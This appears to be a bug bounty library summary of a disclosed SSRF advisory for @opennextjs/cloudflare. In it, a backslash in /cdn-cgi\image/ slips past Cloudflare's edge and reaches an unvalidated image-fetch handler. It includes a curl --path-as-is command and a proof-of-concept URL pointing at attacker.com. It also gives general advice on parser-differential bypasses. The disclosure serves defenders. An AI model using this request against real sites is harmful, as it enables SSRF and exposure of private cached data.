# opennextjs-cloudflare has SSRF vulnerability via /cdn-cgi/ path normalization bypass

Backslash in /cdn-cgi\image/ bypasses Cloudflare edge interception, reaching the dev-only image handler in @opennextjs/cloudflare and enabling SSRF and private asset exposure.

- Payout: Research
- Severity: high
- Program: OpenNext Cloudflare
- Found by (vendor credit): https://x.com/ez_z3r
- Found by: Ezzer17
- Disclosed: 2026-03-05
- CVE: CVE-2026-3125
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-c7mq-gh6q-6q7c
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-c7mq-gh6q-6q7c
- Tags: area:oss domain:oss impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:cdn technique:parser-differential vuln:info-disclosure vuln:ssrf

**Target:** /cdn-cgi/image/ handler in @opennextjs/cloudflare worker template
**Root cause:** Cloudflare's edge intercepts /cdn-cgi/image/ before the Worker, but a backslash variant (/cdn-cgi\image/) evades interception; the JS URL class then normalizes the backslash to a forward slash, matching the dev-only handler which performs an unvalidated fetch.
**Steps:**
1. Send a request with a backslash path using a client that preserves it, e.g. `curl --path-as-is https://victim-site.com/cdn-cgi\image/aaaa/https://attacker.com`
2. Edge fails to intercept because the path is not literally /cdn-cgi/image/
3. Worker receives request; URL normalization converts backslash to forward slash
4. Request matches the /cdn-cgi/image/ handler and fetches the attacker-supplied remote URL unvalidated
5. Attacker content is served under victim-site.com origin
**How found:** Researcher observed that Cloudflare edge interception keys on the literal /cdn-cgi/image/ path and hypothesized a path-normalization differential: the edge and the JS URL parser disagree on backslash handling, so a backslash variant slips past the edge but normalizes to the handler path inside the Worker.
**Exploitation:** Attacker crafts a URL with a backslash in the /cdn-cgi path and an arbitrary remote URL as the image source; the Worker fetches it and returns content under the victim's domain, bypassing same-origin policy. Same bypass exposes assets under /cdn-cgi/ paths (e.g. /cdn-cgi/_next_cache incremental cache data).
**Escalation:** Same backslash bypass also exposes private assets stored under /cdn-cgi/ on Workers with Assets and Cloudflare Pages, potentially leaking incremental cache data.
**Insight:** When an edge/WAF blocks a reserved path prefix, test parser-differential variants (backslash, encoded slashes, dot segments) sent with clients like `curl --path-as-is` that skip client-side normalization; the downstream framework's URL normalization may re-collapse them into the blocked path.

## Proof of concept (copied exactly from the original report)

**Backslash bypass URL fetching attacker content**

```
https://victim-site.com/cdn-cgi\image/aaaa/https://attacker.com
```